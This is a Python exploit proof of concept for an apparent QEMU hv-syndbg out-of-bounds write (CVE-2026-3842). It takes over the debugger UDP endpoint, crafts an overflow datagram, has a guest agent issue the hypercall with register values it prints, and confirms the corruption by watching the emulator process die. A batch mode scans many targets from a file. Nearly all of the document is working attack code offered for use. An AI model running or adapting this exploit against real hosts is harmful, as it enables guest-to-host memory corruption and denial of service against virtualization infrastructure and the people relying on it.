...[ More ]

#!/usr/bin/env python3
    """
    CVE-2026-3842 - QEMU hv-syndbg unchecked cpu_physical_memory_map() length, out-of-bounds write
    Affected: QEMU 7.1.0 up to (not including) 11.0.0; stable backport landed in 10.2.2
    Type: memory corruption (heap out-of-bounds write + out-of-bounds read), guest-to-host
    
    handle_recv_msg() in hw/hyperv/syndbg.c maps the guest-supplied output GPA with
    cpu_physical_memory_map(), whose *plen argument is in/out and may come back smaller
    than asked for. The function only tested the NULL case, then wrote
    recv_byte_count + 42 bytes into whatever was mapped. A guest that points the
    HV_RETRIEVE_DEBUG_DATA hypercall at an address that maps short turns the received
    debug datagram into a linear heap overflow in the emulator process.
    
    ATTACKER POSITION. This is a local guest-to-host bug (CVSS AV:L/PR:L), so it has no
    network attack surface and this tool is not a remote exploit. Reaching the bug needs
    both halves of the attack, and the tool performs both:
    
      1. The KDNET debugger endpoint. The device model opens an outbound-connected UDP
         socket to the host_ip:host_port it was configured with and takes the overflow
         content verbatim from whatever arrives there. That endpoint is an ordinary
         network position, and it is frequently a different machine from the one running
         the emulator. --host/--port name it, and this tool occupies it.
      2. Code execution inside the guest, to issue the hypercall that picks the
         destination and therefore the overflow length. --hcall-req points at the
         request channel of a guest-side agent. With no channel, the tool delivers its
         half and prints the exact register values the guest has to load, so an operator
         driving the guest by other means can finish it.
    
    CONFIRMATION. Two independent signals, either of which is sufficient:
    
      * The hypercall status word, which is what the guest reads back in RAX. An
         affected build returns HV_STATUS_SUCCESS (0x0000) for a request whose mapping
         was truncated, because the length guard that would have rejected it does not
         exist. A fixed build returns HV_STATUS_INSUFFICIENT_MEMORY (0x000b).
      * Liveness of the device socket, observed over the network from the endpoint. A
         connected UDP socket surfaces ICMP port-unreachable as ECONNREFUSED once the
         process owning the far end is gone, so an outgpa that makes the overflow fatal
         is confirmed without any access to the target host at all.
    
    There is no --command argument. The out-of-bounds read in this bug cannot leak heap
    contents (net_checksum_calculate() folds bytes the memcpy immediately above it has
    already overwritten with attacker data), so there is no info leak to defeat ASLR
    with and no command execution to offer. The arguments exposed instead are the ones
    that actually steer the primitive: --outgpa, --length and --ingpa.
    
    There is no --tls/--no-tls. The synthetic debugger channel is plain UDP with no TLS
    layer, so the switches would accept a value and do nothing.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 50000 --hcall-req /run/agent/hcall.req
      python exploit.py --host 10.0.0.9 --outgpa 0x3ffffff0 --device-port 41234
      python exploit.py --host 0.0.0.0 --wait 30            # learn the port from the device
      python exploit.py --list targets.txt --workers 20
    """
    
    import argparse
    import errno
    import os
    import secrets
    import socket
    import struct
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-3842"
    VULN_TYPE = "OOB write (guest-to-host memory corruption)"
    
    # Hypercall status words, from hyperv-proto.h.
    HV_STATUS_SUCCESS = 0x0000
    HV_STATUS_INVALID_PARAMETER = 0x0005
    HV_STATUS_INSUFFICIENT_MEMORY = 0x000B
    HV_STATUS_NO_DATA = 0x001B
    
    HV_STATUS_NAMES = {
        HV_STATUS_SUCCESS: "HV_STATUS_SUCCESS",
        HV_STATUS_INVALID_PARAMETER: "HV_STATUS_INVALID_PARAMETER",
        HV_STATUS_INSUFFICIENT_MEMORY: "HV_STATUS_INSUFFICIENT_MEMORY",
        HV_STATUS_NO_DATA: "HV_STATUS_NO_DATA",
    }
    
    # sizeof(struct eth_header) + sizeof(struct ip_header) + sizeof(struct udp_header).
    UDP_PKT_HEADER_SIZE = 42
    # HVCALL_RETREIVE_DEBUG_DATA, and the input value's fast bit, which must stay clear.
    HV_CALL_RETRIEVE_DEBUG_DATA = 0x006A
    HV_HYPERCALL_FAST = 1 << 16
    # The hypercall path asks for TARGET_PAGE_SIZE - sizeof(output struct) bytes.
    HCALL_RECV_COUNT = 4088
    # DEFAULT_MAX_BOUNCE_BUFFER_SIZE, less the 8 bytes the outer output map holds open.
    BOUNCE_BUDGET = 4096 - 8
    # Below this a datagram cannot outrun the bounce budget and nothing overflows.
    MIN_OVERFLOW_LENGTH = BOUNCE_BUDGET - UDP_PKT_HEADER_SIZE + 1
    
    DEFAULT_ENDPOINT_PORT = 50000
    # The HPET block. Present on every pc/q35 machine, and not directly accessible, so
    # the mapping goes through the bounce allocator and comes back budget-clamped.
    DEFAULT_OUTGPA = 0xFED00000
    # Low guest RAM, above the legacy hole. Only ever read, never a destination.
    DEFAULT_INGPA = 0x100000
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    def build_payload(length: int, marker: bytes) -> bytes:
        """The datagram the device will copy out.
    
        Sixteen-byte blocks of a per-run random marker followed by the block index, so
        any byte recovered from a crash dump or a shadow map identifies its own offset
        in the datagram, and two runs never write the same bytes.
        """
        out = bytearray()
        index = 0
        while len(out) < length:
            out += marker + struct.pack("<Q", index)
            index += 1
        return bytes(out[:length])
    
    
    def predicted_geometry(length: int) -> tuple:
        """(requested, mapped, overflow) for an outgpa that reaches the bounce allocator.
    
        The mapped length for a bounced mapping is capped by the per-AddressSpace
        budget and nothing else: address_space_translate_internal() only clamps *plen
        to the section size when the region is RAM, so the size of the MMIO block the
        guest aims at makes no difference. An outgpa at the tail of a RAM section
        truncates far harder and is not modelled here.
        """
        requested = length + UDP_PKT_HEADER_SIZE
        mapped = min(BOUNCE_BUDGET, requested)
        return requested, mapped, max(0, requested - mapped)
    
    
    def guest_sequence(ingpa: int, outgpa: int) -> str:
        """The register state a guest loads to make this call itself."""
        rcx = HV_CALL_RETRIEVE_DEBUG_DATA
        return (
            "mov rcx, 0x%016x   ; HVCALL_RETREIVE_DEBUG_DATA, fast bit (0x%x) clear\n"
            "mov rdx, 0x%016x   ; input GPA: 16 zero bytes {u32 count; u32 options; u64 timeout;}\n"
            "mov r8,  0x%016x   ; output GPA: an address that maps short\n"
            "vmcall                          ; vmmcall on AMD; status returns in rax"
            % (rcx, HV_HYPERCALL_FAST, ingpa, outgpa)
        )
    
    
    def endpoint_socket(host: str, port: int) -> socket.socket:
        """A UDP socket owning the endpoint address the device was pointed at.
    
        The device connect()s to this address, so a datagram is only accepted if its
        source matches it. SO_REUSEPORT lets the exploit sit alongside whatever already
        holds the port, which matters because something must own it before the device
        starts or the device's first recv() fails with ECONNREFUSED instead.
        """
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
        except (AttributeError, OSError):
            pass
        sock.bind((host, port))
        return sock
    
    
    def _hex_addr(host: str, port: int) -> str:
        """An address as /proc/net/udp prints it: native-order u32, then the port."""
        packed = socket.inet_aton(socket.gethostbyname(host))
        return "%08X:%04X" % (struct.unpack("<I", packed)[0], port)
    
    
    def discover_port_local(host: str, port: int, timeout: float = 0.0):
        """Ephemeral port of the socket connected to the endpoint, read from /proc.
    
        Only usable when the exploit runs on the same host as the emulator. It is a
        convenience for that case, never a requirement: --device-port and the inbound
        datagram in discover_port_wire() cover the remote case, which is the one that
        matters for a real endpoint.
        """
        if not os.path.exists("/proc/net/udp"):
            return None
        want = _hex_addr(host, port)
        deadline = time.monotonic() + timeout
        while True:
            try:
                with open("/proc/net/udp") as fh:
                    fh.readline()
                    for line in fh:
                        fields = line.split()
                        if len(fields) > 2 and fields[2] == want:
                            return int(fields[1].split(":")[1], 16)
            except OSError:
                return None
            if time.monotonic() >= deadline:
                return None
            time.sleep(0.25)
    
    
    def discover_port_wire(sock: socket.socket, timeout: float):
        """Learn the device's ephemeral port by letting it speak first.
    
        A live KDNET session starts with the guest sending, which reaches the endpoint
        through handle_send_msg() and carries the device's source port with it.
        """
        if timeout <= 0:
            return None
        sock.settimeout(timeout)
        try:
            _, peer = sock.recvfrom(65536)
            return peer[1]
        except (socket.timeout, OSError):
            return None
        finally:
            sock.settimeout(None)
    
    
    def probe_alive(sock: socket.socket, payload: bytes, settle: float = 0.4) -> bool:
        """True while some process still owns the far end of the device socket.
    
        The socket is connected, so an ICMP port-unreachable for a datagram sent to a
        port nobody owns comes back as ECONNREFUSED on the next operation. That is the
        whole oracle, and it needs nothing but network access to the target.
    
        The probe has to be the crafted datagram itself, for two reasons that both come
        from the device's socket. It is connected, so only datagrams whose source is the
        endpoint address reach it at all - probing from any other local port would be
        dropped by the socket lookup and answered with a port-unreachable even while the
        process is perfectly alive, which would read as a false crash. And recv() takes
        exactly one datagram per hypercall, so anything else sent here queues ahead of
        the payload and gets consumed in its place, silently collapsing the overflow.
        Sending the real payload every time keeps both properties.
        """
        try:
            sock.send(payload)
        except OSError as exc:
            if exc.errno in (errno.ECONNREFUSED, errno.EHOSTUNREACH, errno.ENETUNREACH):
                return False
            raise
        time.sleep(settle)
        sock.settimeout(0.5)
        try:
            sock.recv(65536)
        except socket.timeout:
            return True
        except OSError as exc:
            if exc.errno in (errno.ECONNREFUSED, errno.EHOSTUNREACH, errno.ENETUNREACH):
                return False
            raise
        finally:
            sock.settimeout(None)
        return True
    
    
    def issue_hcall(req_path: str, log_path, ingpa: int, outgpa: int, timeout: float = 8.0):
        """Drive the guest half through an agent's request channel.
    
        Two one-line requests: zero the 16-byte input struct, then make the call. The
        status word is read back from the agent's log when one is configured, which is
        the same value the guest would have found in RAX.
        """
        marker = None
        if log_path and os.path.exists(log_path):
            marker = os.path.getsize(log_path)
    
        _write_request(req_path, "prep 0x%x" % ingpa)
        _wait_consumed(req_path, timeout)
        _write_request(req_path, "call 0x%x 0x%x 0" % (ingpa, outgpa))
        consumed = _wait_consumed(req_path, timeout)
    
        if not log_path:
            return None, "no --hcall-log configured, status word not read back"
        deadline = time.monotonic() + timeout
        while True:
            status = _read_status(log_path, marker)
            if status is not None:
                return status, "status word read from the agent channel"
            if time.monotonic() >= deadline:
                break
            time.sleep(0.25)
        if consumed:
            return None, "request consumed but no status logged, the call did not return"
        return None, "request was never consumed, no agent is servicing the channel"
    
    
    def _write_request(path: str, line: str) -> None:
        with open(path, "w") as fh:
            fh.write(line + "\n")
    
    
    def _wait_consumed(path: str, timeout: float) -> bool:
        deadline = time.monotonic() + timeout
        while os.path.exists(path):
            if time.monotonic() >= deadline:
                return False
            time.sleep(0.2)
        return True
    
    
    def _read_status(log_path: str, offset):
        try:
            with open(log_path) as fh:
                if offset:
                    fh.seek(offset)
                tail = fh.read()
        except OSError:
            return None
        status = None
        for line in tail.splitlines():
            marker = line.rfind("status=0x")
            if marker >= 0:
                try:
                    status = int(line[marker + 9:].split()[0], 16)
                except ValueError:
                    continue
        return status
    
    
    def _verdict(status, alive_before, alive_after, overflow):
        """(success, evidence) from the two confirmation signals."""
        if alive_before and not alive_after:
            return True, (
                "host emulator process terminated inside the hypercall - the device "
                "socket stopped answering (ECONNREFUSED from the endpoint), so the "
                "out-of-bounds write was fatal"
            )
        if status == HV_STATUS_SUCCESS:
            return True, (
                "HV_STATUS_SUCCESS (0x0000) for a request whose mapping was truncated - "
                "the length guard is absent, %d bytes written past the mapped window"
                % overflow
            )
        if status == HV_STATUS_INSUFFICIENT_MEMORY:
            return False, (
                "HV_STATUS_INSUFFICIENT_MEMORY (0x000b) - the truncated mapping was "
                "rejected, target carries the fix"
            )
        if status == HV_STATUS_NO_DATA:
            return False, (
                "HV_STATUS_NO_DATA (0x001b) - the device had no queued datagram, the "
                "payload did not reach the endpoint the target was configured with"
            )
        if status == HV_STATUS_INVALID_PARAMETER:
            return False, (
                "HV_STATUS_INVALID_PARAMETER (0x0005) - recv() failed on the device "
                "socket, most likely a queued ICMP port-unreachable from an endpoint "
                "that was unowned when the target started"
            )
        if status is not None:
            return False, "unexpected hypercall status 0x%04x" % status
        return False, "no hypercall status observed and the target is still serving"
    
    
    def _try_exploit(host, port, use_tls=False, outgpa=DEFAULT_OUTGPA, ingpa=DEFAULT_INGPA,
                     length=HCALL_RECV_COUNT, hcall_req=None, hcall_log=None,
                     device_port=None, wait=0.0):
        """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
        sock = None
        try:
            sock = endpoint_socket(host, port)
            found = device_port
            if found is None:
                found = discover_port_wire(sock, wait)
            if found is None:
                found = discover_port_local(host, port)
            if found is None:
                return False, "no synthetic debugger socket connected to this endpoint"
    
            sock.connect((host, found))
            payload = build_payload(length, secrets.token_bytes(8))
            alive_before = probe_alive(sock, payload)
            if not alive_before:
                return False, "device socket already unowned before the attempt"
            time.sleep(1.0)
    
            if not hcall_req:
                return False, "payload delivered, no guest channel to issue the hypercall"
    
            status, _ = issue_hcall(hcall_req, hcall_log, ingpa, outgpa)
            alive_after = probe_alive(sock, payload)
            _, _, overflow = predicted_geometry(length)
            return _verdict(status, alive_before, alive_after, overflow)
        except OSError as exc:
            return False, "unreachable (%s)" % exc.__class__.__name__
        except Exception as exc:  # noqa: BLE001 - a scan must never abort on one target
            return False, "error (%s)" % exc.__class__.__name__
        finally:
            if sock is not None:
                sock.close()
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """One target line -> (host, port, use_tls, path), or None to skip.
    
        Accepts:
          192.168.1.10              -> (host, default_port, tls_auto, default_path)
          192.168.1.10:443          -> (host, 443, True, default_path)
          https://host.com          -> (host, 443, True, default_path)
          https://host.com/api/gql  -> (host, 443, True, "/api/gql")
          # comment / blank         -> None
        """
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
        """Batch scan from file.
    
        A line is one emulator's debugger endpoint. Guest channel paths may carry
        {host} and {port} placeholders so a per-target agent can be addressed.
        """
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = "%s:%d" % (host, port)
            per_target = dict(kwargs)
            for key in ("hcall_req", "hcall_log"):
                if per_target.get(key):
                    per_target[key] = per_target[key].format(host=host, port=port)
            ok, evidence = _try_exploit(host, port, use_tls, **per_target)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    def exploit(host, port, outgpa, ingpa, length, hcall_req, hcall_log, device_port, wait):
        header(host, port)
    
        marker = secrets.token_bytes(8)
        requested, mapped, overflow = predicted_geometry(length)
    
        step(1, "Occupying the synthetic debugger endpoint on %s:%d ..." % (host, port))
        try:
            sock = endpoint_socket(host, port)
        except OSError as exc:
            section("BIND FAILED", str(exc))
            done(False, "cannot own %s:%d, the endpoint the target sends to must be ours" % (host, port))
    
        step(2, "Locating the device's socket ...")
        found = device_port
        how = "given on the command line"
        if found is None:
            found = discover_port_wire(sock, wait)
            how = "learned from a datagram the device sent"
        if found is None:
            found = discover_port_local(host, port)
            how = "read from the local socket table (exploit is co-resident with the target)"
        if found is None:
            section("DEVICE SOCKET", "no UDP socket is connected to %s:%d" % (host, port))
            done(False, "no hv-syndbg device is pointed at this endpoint - the target "
                        "either lacks the device or was configured with another one")
        print("         device socket -> %s:%d  (%s)" % (host, found, how))
        sock.connect((host, found))
    
        step(3, "Baseline liveness probe, carrying the first copy of the payload ...")
        payload = build_payload(length, marker)
        alive_before = probe_alive(sock, payload)
        if not alive_before:
            section("DEVICE SOCKET", "ECONNREFUSED on the first datagram")
            done(False, "nothing owns the device socket, the target is not running")
        print("         target is serving")
    
        step(4, "Sending a %d-byte debug datagram (overflow content) ..." % length)
        sock.send(payload)
        print("         payload marker %s, block-indexed so recovered bytes locate themselves"
              % marker.hex())
        print("         requested %d = %d + %d header, budget-clamped map %d, predicted overflow %d bytes"
              % (requested, length, UDP_PKT_HEADER_SIZE, mapped, overflow))
        if length < MIN_OVERFLOW_LENGTH:
            print("         NOTE: below %d bytes the request fits the bounce budget and nothing overflows"
                  % MIN_OVERFLOW_LENGTH)
        # The device only notes the datagram when its main loop next polls the socket.
        time.sleep(1.0)
    
        step(5, "Issuing HVCALL_RETREIVE_DEBUG_DATA with outgpa=0x%x ..." % outgpa)
        if outgpa != DEFAULT_OUTGPA:
            print("         NOTE: the status-word verdict assumes this address maps short. "
                  "The default 0x%x is MMIO on every pc/q35 machine and always does; an "
                  "address in plain RAM maps in full, and a fixed build answers 0x0000 for "
                  "it too." % DEFAULT_OUTGPA)
        section("GUEST HYPERCALL", guest_sequence(ingpa, outgpa))
        status = None
        if hcall_req:
            status, note = issue_hcall(hcall_req, hcall_log, ingpa, outgpa)
            print("         %s" % note)
        else:
            print("         no --hcall-req channel: the guest half is the operator's to issue.")
            print("         The payload above is queued on the device and stays queued until it is.")
    
        step(6, "Reading back the two confirmation signals ...")
        alive_after = probe_alive(sock, payload)
        status_text = "not observed"
        if status is not None:
            status_text = "0x%04x %s" % (status, HV_STATUS_NAMES.get(status, "(unknown)"))
        # Only the requested length is known exactly from here. What the target mapped
        # depends on which of the two truncating paths outgpa lands in, and the guest
        # never learns it, so the mapped and overflow figures are labelled as the
        # prediction for a bounced mapping rather than presented as a measurement.
        if outgpa == DEFAULT_OUTGPA:
            geometry = (
                "mapped length       : %d bytes (bounce budget %d, less the 8-byte outer map)\n"
                "overflow            : %d bytes of the datagram written past the mapping"
                % (mapped, BOUNCE_BUDGET + 8, overflow))
        else:
            geometry = (
                "mapped length       : %d bytes if this address bounces, less if it is the\n"
                "                      tail of a RAM section, which clamps to the bytes left\n"
                "                      in the section\n"
                "overflow            : %d bytes on the bounce path, up to %d on a RAM tail"
                % (mapped, overflow, requested - 8))
        section("OBSERVED", (
            "hypercall status    : %s\n"
            "device socket before: owned\n"
            "device socket after : %s\n"
            "requested length    : %d bytes (%d datagram + %d synthesised header)\n%s"
        ) % (status_text, "owned" if alive_after else "ECONNREFUSED (process gone)",
             requested, length, UDP_PKT_HEADER_SIZE, geometry))
    
        sock.close()
        success, evidence = _verdict(status, alive_before, alive_after, overflow)
        if not success and status is None and not hcall_req:
            done(False, "endpoint half complete, payload queued - supply --hcall-req or "
                        "issue the hypercall from the guest to complete the attack")
        done(success, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(
            description="%s exploit PoC - QEMU hv-syndbg out-of-bounds write" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument(
            "--host",
            help="Debugger endpoint the target's hv-syndbg was configured with (host_ip). "
                 "This tool occupies it, so it must be an address on this machine.")
        target_grp.add_argument(
            "--list", metavar="FILE",
            help="File with one target endpoint per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_ENDPOINT_PORT,
                            help="Endpoint port, the device's host_port (default: %d)"
                                 % DEFAULT_ENDPOINT_PORT)
        parser.add_argument("--outgpa", type=lambda v: int(v, 0), default=DEFAULT_OUTGPA,
                            help="Guest physical address the hypercall writes to. Must map "
                                 "short: any MMIO block, or the tail of a RAM section "
                                 "(default: 0x%x, the HPET block)" % DEFAULT_OUTGPA)
        parser.add_argument("--ingpa", type=lambda v: int(v, 0), default=DEFAULT_INGPA,
                            help="Scratch guest physical address for the 16-byte hypercall "
                                 "input struct (default: 0x%x)" % DEFAULT_INGPA)
        parser.add_argument("--length", type=int, default=HCALL_RECV_COUNT,
                            help="Datagram size. Overflow past a bounced mapping is "
                                 "length - %d bytes (default: %d, the maximum)"
                                 % (MIN_OVERFLOW_LENGTH - 1, HCALL_RECV_COUNT))
        parser.add_argument("--device-port", type=int,
                            help="Device's ephemeral UDP port, if already known")
        parser.add_argument("--wait", type=float, default=0.0,
                            help="Seconds to wait for the device to send first, which is "
                                 "how a real debugger learns its port (default: 0)")
        parser.add_argument("--hcall-req",
                            help="Request channel of a guest-side agent that can issue the "
                                 "hypercall. Supports {host} and {port} placeholders in "
                                 "--list mode.")
        parser.add_argument("--hcall-log",
                            help="Where that agent records the returned status word")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        args = parser.parse_args()
    
        if args.length < 1 or args.length > HCALL_RECV_COUNT:
            parser.error("--length must be between 1 and %d, the fixed count the "
                         "hypercall path asks recv() for" % HCALL_RECV_COUNT)
    
        common = dict(outgpa=args.outgpa, ingpa=args.ingpa, length=args.length,
                      hcall_req=args.hcall_req, hcall_log=args.hcall_log,
                      device_port=args.device_port, wait=args.wait)
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, **common)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            exploit(host, port, args.outgpa, args.ingpa, args.length,
                    args.hcall_req, args.hcall_log, args.device_port, args.wait)